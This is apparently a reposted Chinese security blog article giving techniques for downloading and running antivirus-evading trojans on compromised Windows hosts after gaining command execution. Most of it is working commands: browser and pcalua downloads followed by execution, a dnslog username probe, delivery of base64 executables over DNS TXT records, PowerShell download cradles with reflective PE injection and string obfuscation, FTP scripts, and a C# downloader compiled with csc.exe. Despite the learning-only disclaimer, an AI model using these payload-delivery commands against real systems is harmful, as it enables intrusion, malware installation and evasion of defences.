Bypass | Windows通用下载绕过姿势总结
2023-11-22 21:51:25 Author: Z2O安全攻防(查看原文) 阅读量:12 收藏

点击蓝字 关注我们

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

添加星标不迷路

由于公众号推送规则改变,微信头条公众号信息会被折叠,为了避免错过公众号推送,请大家动动手指设置“星标”,设置之后就可以和从前一样收到推送啦

很多时候我们可以执行命令了,但是没有回显、也不交互添加加用户远程桌面没开、想远程下载木马有杀软拦截循环写入遇到负载均衡
对于远程下载能想到的方法也就是下面这些,但都是可以免杀一段时间就被杀软照顾了。

powershell,certutil,vbs,Bitsadmin,ftp,tftp,debug,msiexec,mshta,rundll32,regsrv32

下面几种方法,感觉2与5更加方便实用

1.1前提条件

  • 服务器出网

  • 服务器安装了其他浏览器

  • 需要获取到用户名字

因为需要拼接出默认下载路径
一般默认浏览器下载路径是

C:\Users\当前用户名字\Downloads\

这个可以使用dnslog回显来获取

ping %USERNAME%.xb1y2y.dnslog.cn
如果是powershell则
cmd /c ping %USERNAME%.xb1y2y.dnslog.cn

1.2利用方法

首先,将我们的免杀木马后缀改为 rar ,exe后缀需要认证才能下载。当然,还有大量的后缀可以使用,需要注意的是,这种后缀的文件必须是直接下载,而不是在浏览器中打开。

1.2.1下载

使用windows自带的edge浏览器,进行下载
start msedge http://192.168.18.1:88/ca.rar
其他浏览器

start chrome http://192.168.1.1:19900/demo.rar
start firefox http://192.168.1.1:19900/demo.rar
使用默认浏览器下载
pcalua -m -a http://192.168.18.1/aa.zip

使用的是cs的shell模拟命令执行
chrome

edge

使用pcalua

1.2.2获取用户名,拼接路径

copy C:\users\22498\Downloads\aa.zip C:\users\22498\Downloads\aa.exe&&C:\users\22498\Downloads\aa.exe

成功弹出计算机,这里的计算机程序我已经更改了它内部信息,360不会把他当做白名单calc的,可以看作为一个免杀马吧

1.2.3更改了下载路径解决办法

但如果更改了下载路径就很难受,因为上面那个是默认路径。
只能全盘搜索了,把搜索到的文件复制到c:\users\public\下。
命令如下:下载asdb.zip复制asdb.zip到c:\users\public\123456.exe

start msedge http://192.168.18.1/asdb.zip &&for /f %k in ('cmd /v:off /Q /c "for /f %i in (^'wmic logicaldisk get caption ^| findstr ":"^') do dir %i\ /b /s 2>nul | findstr "asdb.zip""') do copy %k c:\users\public\123456.exe&& cmd /c c:\users\public\123456.exe

参考文章:https://mp.weixin.qq.com/s/b3NNiXk7tFJPtq3yuWc7pQ

参考文章:https://mp.weixin.qq.com/s/Z1zp7klk–uQ1OnzljNESw
要使用这个功能,首先要解决的问题。把exe进行base64编码,但如何在靶机进行解码?certutil的解密功能已经被禁止了。powershell单纯想运行就可能被拦截。。。下面内容好像复现了,时间久远忘记了,如果对这个方式感兴趣的可以看原文章。

linux
lookup -q=TXT www.mydomain.com 47.113.185.169"
windows
nslookup -q=TXT www.mydomain.com 47.113.185.169"

cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 47.113.185.169 ^| findstr "exec"') do (set a=%i && set b=!b!!a:~5,-2!) && set c=!a:~-6,-2! && if "eofs" == "!c:~0,-1!" echo !b:~1,-4!" > ttt.txt

#编码
$fp = "C:\Vignesh\helloworld.exe"
$encf = [System.IO.File]::ReadAllBytes($fp);
# returns the base64 string
$b64str = [System.Convert]::ToBase64String($encf);
Write-Host "After encoding" -ForegroundColor Green
$b64str
# 解码
#function to decode
function Convert-stob {[CmdletBinding()] param ([string] $estr,[string] $fp = (‘{0}\{1}’ -f $env:TEMP, [System.Guid]::NewGuid().ToString()))try {if ($estr.Length -ge 1) {Write-Host "After decoding of exe" -ForegroundColor Green

$barr = [System.Convert]::FromBase64String($estr);
[System.IO.File]::WriteAllBytes($fp, $barr);
Write-Host $barr
}
}
catch {
}
Write-Output -InputObject (Get-Item -Path $fp);
}
$DecodedFile = Convert-stob -estr $b64str -fp C:\Vignesh\helloworld.exe

缩减后

解码
$b64str = Get-Content ".\hello.64";$barr = [System.Convert]::FromBase64String($b64str);[System.IO.File]::WriteAllBytes(".\hello1.exe", $barr);

编码

$encf = [System.IO.File]::ReadAllBytes(".\hello.exe");$b64str = [System.Convert]::ToBase64String($encf);[System.IO.File]::WriteAllText(".\hello.64", $b64str);


systemctl restart named

cmd /v:on /Q /c "set a= && set b= && for /f "tokens=*" %i in ('nslookup -qt^=TXT www.mydomain.com 47.113.185.169 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" > ttt.txt

certutil -decode ttt.txt a.exe && cmd /c a.exe


function Convert-BinaryToString {
[CmdletBinding()] param (
[string] $FilePath )
try {
$ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
}
catch
{
throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
}
if ($ByteArray) {
$Base64String = [System.Convert]::ToBase64String($ByteArray);
}
else {
throw '$ByteArray is $null.';
}
Write-Output -InputObject $Base64String; }
Convert-BinaryToString "D:\Download\ProcessMonitor\hello.exe" > "D:\Download\ProcessMonitor\hello.64"

iex(New-Object Net.WebClient).DownloadString("http://192.168.110.128:8080/Invoke-ReflectivePEInjection.ps1")
$b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.110.128:8080/res.txt")
$PEBytes = [System.Convert]::FromBase64String($b64Str)
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

$file = "hello.64";$data = Get-Content $file;[Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($data)) > hell.exe

iex(New-Object Net.WebClient).DownloadString("http://192.168.18.1/Invoke-ReflectivePEInjection.ps1");$b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.18.1/hell.64");$PEBytes = [System.Convert]::FromBase64String($b64Str);Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

echo (new-object System.Net.WebClient)."Down`l`oadFile"('h'+'ttp'+'://192.168.18.1/hello.exe','C:/Users/public/hello.exe')| powershell -

echo Invoke-Expression (New-Object "NeT.WebClient")."Down`l`oadString"('h'+'ttp://106.xx.xx.xx/a') | powershell -

ftp下载

注意:火绒会拦截
把下面内容复制到a.txt文件中

open 1.1.1.1 21 #与1.1.1.1的21端口建立连接
use #以use用户命登录
passwd #密码
bin #切换为二进制格式传输
get a.exe #复制根目录下的a.exe
bye#结束

然后使用ftp -s:a.txt 进行连接

这个是windows自带的可以编译c#语言
默认安装路径:

32位:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
64位:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
注意:在有些低版本windows可能没有这个版本则使用
32位:C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
64位:C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

代码(从http://192.168.18.1/2.exe下载到C:\users\public)

using System.Net;namespace downloader{class Program{static void Main(string[] args){WebClient client = new WebClient();string URLAddress = @'http://192.168.18.1/2.exe';string Path = @'C:\\users\public\';client.DownloadFile(URLAddress, Path + System.IO.Path.GetFileName(URLAddress));}}}

写入到c:\users\public\test.txt

echo using System.Net;namespace downloader{class Program{static void Main(string[] args){WebClient client = new WebClient();string URLAddress = @'http://192.168.174.145/ssss2.exe';string Path = @'C:\\users\public\';client.DownloadFile(URLAddress, Path + System.IO.Path.GetFileName(URLAddress));}}} >> c:\users\public\test.txt

编译

set temp=C:\Users\Public\ && C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe test.txt


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247505428&idx=1&sn=f18d3a0d251a16281a6943a2fa04df5c&chksm=ceab3d54f9dcb442afba7c0d8179c5063000aa0dca980f14fd22ed23ea14d73813a42ce3e88a&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh